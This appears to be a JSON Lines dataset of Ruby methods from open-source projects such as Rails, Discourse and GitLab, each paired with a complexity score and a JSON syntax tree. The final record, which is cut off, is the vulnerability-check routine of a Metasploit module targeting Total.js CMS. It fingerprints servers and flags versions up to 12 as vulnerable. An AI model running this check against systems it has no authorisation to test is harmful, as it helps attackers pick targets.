{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/export_user_archive.rb","start_line":231,"raw_source":"def auth_tokens_export\n      return enum_for(:auth_tokens) unless block_given?\n\n      UserAuthToken\n        .where(user_id: @archive_for_user.id)\n        .each do |token|\n          yield(\n            [\n              token.id,\n              token.auth_token.to_s[0..4] + \"...\", # hashed and truncated\n              token.prev_auth_token[0..4] + \"...\",\n              token.auth_token_seen,\n              token.client_ip,\n              token.user_agent,\n              token.seen_at,\n              token.rotated_at,\n              token.created_at,\n              token.updated_at,\n            ]\n          )\n        end\n    end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_tokens_export\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_for\",{\"type\":\"sym\",\"children\":[\"auth_tokens\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAuthToken\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@archive_for_user\"]},\"id\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"auth_token\"]},\"to_s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"prev_auth_token\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"auth_token_seen\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"client_ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"user_agent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"seen_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"rotated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"updated_at\"]}]}]}]}]}]}","id":"7680de6f-5da9-430f-948a-888b089a9102"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-github/app/lib/commits_populator.rb","start_line":284,"raw_source":"def disable_github_badges_and_inform_admin(title:, raw:)\n      SiteSetting.github_badges_enabled = false\n      site_admin_usernames =\n        User.where(admin: true).human_users.order(\"last_seen_at DESC\").limit(10).pluck(:username)\n      PostCreator.create!(\n        Discourse.system_user,\n        title: title,\n        raw: raw,\n        archetype: Archetype.private_message,\n        target_usernames: site_admin_usernames,\n        skip_validations: true,\n      )\n    end","complexity_score":12.75,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_github_badges_and_inform_admin\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"title\"]},{\"type\":\"kwarg\",\"children\":[\"raw\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"github_badges_enabled=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"site_admin_usernames\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"human_users\"]},\"order\",{\"type\":\"str\",\"children\":[\"last_seen_at DESC\"]}]},\"limit\",{\"type\":\"int\",\"children\":[10]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostCreator\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archetype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_usernames\"]},{\"type\":\"lvar\",\"children\":[\"site_admin_usernames\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_validations\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"337a1c51-4cf4-461c-9d8b-db9de4190ac7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/cluster.rb","start_line":240,"raw_source":"def first_project\n      strong_memoize(:first_project) do\n        projects.first\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"first_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"first_project\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"projects\"]},\"first\"]}]}]}","id":"f44ddbcb-d443-4490-ba90-867c9822a8de"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/layouts.rb","start_line":430,"raw_source":"def _include_layout?(options)\n      !options.keys.intersect?([:body, :plain, :html, :inline, :partial]) || options.key?(:layout)\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"_include_layout?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"keys\"]},\"intersect?\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"sym\",\"children\":[\"partial\"]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"layout\"]}]}]}]}","id":"245dcc78-6633-4f0f-b1c1-faabcab0686f"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/action_service.rb","start_line":91,"raw_source":"def team_belongs_to_account?(team_ids)\n    @account.team_ids.include?(team_ids[0])\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"team_belongs_to_account?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"team_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"team_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team_ids\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"527201ee-fde4-495e-8771-18fff8b9a4ff"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_configurations/hash_config_test.rb","start_line":220,"raw_source":"def test_schema_dump_value_set_to_false\n        config = HashConfig.new(\"default_env\", \"primary\", { schema_dump: false, adapter: \"abstract\" })\n        assert_nil config.schema_dump\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dump_value_set_to_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schema_dump\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"schema_dump\"]}]}]}]}","id":"3c16ea3e-88c1-49c6-bd6b-fbbddcc1ec4d"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_output_as_buffered_backup.rb","start_line":172,"raw_source":"def wait_flush(target_file)\n      waiting(5) {\n        target_dir = File.join(File.dirname(target_file), \"*\")\n        while Dir.glob(target_dir).size.zero?\n          # Avoid to lose globbed entries on Windows in busy loop\n          sleep 0.1 if Fluent.windows?\n        end\n      }\n    end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_flush\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_file\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"waiting\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"target_file\"]}]},{\"type\":\"str\",\"children\":[\"*\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"lvar\",\"children\":[\"target_dir\"]}]},\"size\"]},\"zero?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"windows?\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]},null]}]}]}]}]}","id":"b31e0b91-f680-472c-899f-a7c62f42e93f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/rapid_diffs/viewers/image_view_component_spec.rb","start_line":34,"raw_source":"def image_data\n    Gitlab::Json.parse(viewer['data-image-data'])\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"image_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"viewer\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-image-data\"]}]}]}]}","id":"c690e42a-4b6a-4ef3-956e-e756195c21ce"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/ai/forem_tags.rb","start_line":260,"raw_source":"def generate_unique_tag_name(base_name)\n      counter = 1\n      new_name = \"#{base_name}#{counter}\"\n\n      while Tag.exists?(name: new_name)\n        counter += 1\n        new_name = \"#{base_name}#{counter}\"\n      end\n\n      new_name\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_unique_tag_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"new_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counter\"]}]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"new_name\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"new_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counter\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"new_name\"]}]}]}","id":"d4692928-c5c0-46fc-af47-d087575eb5d2"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/variable_test.rb","start_line":226,"raw_source":"def test_multiple_filters_with_trailing_commas\n    template = '{{ \"hello\" | append: \"1\", | append: \"2\", }}'\n\n    with_error_modes(:strict) do\n      error = assert_raises(Liquid::SyntaxError) { Template.parse(template) }\n      assert_match(/is not a valid expression/, error.message)\n    end\n\n    with_error_modes(:rigid) do\n      assert_template_result('hello12', template)\n    end\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiple_filters_with_trailing_commas\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"str\",\"children\":[\"{{ \\\"hello\\\" | append: \\\"1\\\", | append: \\\"2\\\", }}\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_modes\",{\"type\":\"sym\",\"children\":[\"strict\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"template\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"is not a valid expression\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_modes\",{\"type\":\"sym\",\"children\":[\"rigid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"hello12\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]}]}]}]}","id":"086b5aa7-ebf1-4550-b711-fb0a903ed123"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_webhooks.rb","start_line":11,"raw_source":"def has_webhook_listed?(url)\n        page.has_css?(table_selector, text: url)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_webhook_listed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"send\",\"children\":[null,\"table_selector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}]}","id":"21b8a83b-8f3d-4e30-b572-321da5c9ed87"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/matching/runner_matcher.rb","start_line":39,"raw_source":"def matches?(build_matcher)\n          ensure_build_matcher_instance!(build_matcher)\n          return false if ref_protected? && !build_matcher.protected?\n\n          accepting_tags?(build_matcher)\n        end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"matches?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build_matcher\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_build_matcher_instance!\",{\"type\":\"lvar\",\"children\":[\"build_matcher\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ref_protected?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_matcher\"]},\"protected?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"accepting_tags?\",{\"type\":\"lvar\",\"children\":[\"build_matcher\"]}]}]}]}","id":"e41cdbbf-cbfa-4015-ae73-7186557ec476"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":223,"raw_source":"def test_add_foreign_key_with_column\n          @connection.add_foreign_key :astronauts, :rockets, column: \"rocket_id\"\n\n          foreign_keys = @connection.foreign_keys(\"astronauts\")\n          assert_equal 1, foreign_keys.size\n\n          fk = foreign_keys.first\n          assert_equal \"astronauts\", fk.from_table\n          assert_equal \"rockets\", fk.to_table\n          assert_equal \"rocket_id\", fk.column\n          assert_equal \"id\", fk.primary_key\n          assert_equal \"fk_rails_78146ddd2e\", fk.name unless current_adapter?(:SQLite3Adapter)\n        end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_foreign_key_with_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"rocket_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"foreign_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"foreign_keys\",{\"type\":\"str\",\"children\":[\"astronauts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_keys\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_keys\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"astronauts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"from_table\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"rockets\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"to_table\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"rocket_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"column\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"primary_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"SQLite3Adapter\"]}]},null,{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"fk_rails_78146ddd2e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"name\"]}]}]}]}]}","id":"443912a2-13f5-4203-8812-5e51b3157bc0"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/test_helper_test.rb","start_line":163,"raw_source":"def test_assert_emails_with_no_block\n    assert_nothing_raised do\n      TestHelperMailer.test.deliver_now\n      assert_emails 1\n    end\n\n    assert_nothing_raised do\n      TestHelperMailer.test.deliver_now\n      TestHelperMailer.test.deliver_now\n      assert_emails 3\n    end\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_emails_with_no_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},\"test\"]},\"deliver_now\"]},{\"type\":\"send\",\"children\":[null,\"assert_emails\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},\"test\"]},\"deliver_now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},\"test\"]},\"deliver_now\"]},{\"type\":\"send\",\"children\":[null,\"assert_emails\",{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}","id":"b55ad240-a903-4922-93a8-fadf208c9774"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/audit_events/common_model.rb","start_line":108,"raw_source":"def as_json(options = {})\n      super(options).tap do |json|\n        json['ip_address'] = ip_address.to_s\n      end\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"as_json\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ip_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ip_address\"]},\"to_s\"]}]}]}]}","id":"ed10cf6f-5abd-44d2-bc70-da1cc3a8adb8"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/abstract/layouts_test.rb","start_line":266,"raw_source":"def overwritten\n        render template: ActionView::Template::Text.new(\"Hello overwritten!\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"overwritten\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Template\"]},\"Text\"]},\"new\",{\"type\":\"str\",\"children\":[\"Hello overwritten!\"]}]}]}]}]}]}","id":"0b238853-7e34-4d3c-9350-8f173b54c0a7"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/ipa.rb","start_line":131,"raw_source":"def self.find_dsym_file(dir)\n        # Finds last modified .dSYM.zip in the destination directory\n        Dir[File.join(dir, '*.dSYM.zip')].sort { |a, b| File.mtime(b) <=> File.mtime(a) }.first\n      end","complexity_score":10.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_dsym_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"str\",\"children\":[\"*.dSYM.zip\"]}]}]},\"sort\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"mtime\",{\"type\":\"lvar\",\"children\":[\"b\"]}]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"mtime\",{\"type\":\"lvar\",\"children\":[\"a\"]}]}]}]},\"first\"]}]}","id":"6333115e-5f92-444e-acf1-fdce95734e26"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/totaljs_cms_widget_exec.rb","start_line":92,"raw_source":"def check\n    code = CheckCode::Safe\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'admin', 'widgets')\n    })\n\n    unless res\n      vprint_error('Connection timed out')\n      return CheckCode::Unknown\n    end\n\n    # If the admin's login page is visited too many times, we will start getting\n    # a 401 (unauthorized response). In that case, we only have a header to work\n    # with.\n    if res.headers['X-Powered-By'].to_s == 'Total.js'\n      code = CheckCode::Detected\n    end\n\n    # If we are here, then that means we can still see the login page.\n    # Let's see if we can extract a version.\n    html = res.get_html_document\n    element = html.at('title')\n    return code unless element.respond_to?(:text)\n\n    title = element.text.scan(/CMS v([\\d\\.]+)/).flatten.first\n    return code unless title\n\n    version = Rex::Version.new(title)\n\n    if version <= Rex::Version.new('12')\n      # If we are able to check the version, we could try the default cred and attempt\n      # to execute malicious code and see how the application responds. However, this\n      # seems to a bit too aggressive so I'll leave that to the exploit part.\n      return CheckCode::Appears\n    end\n\n    CheckCode::Safe\n  end","complexity_score":35.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"widgets\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Connection timed 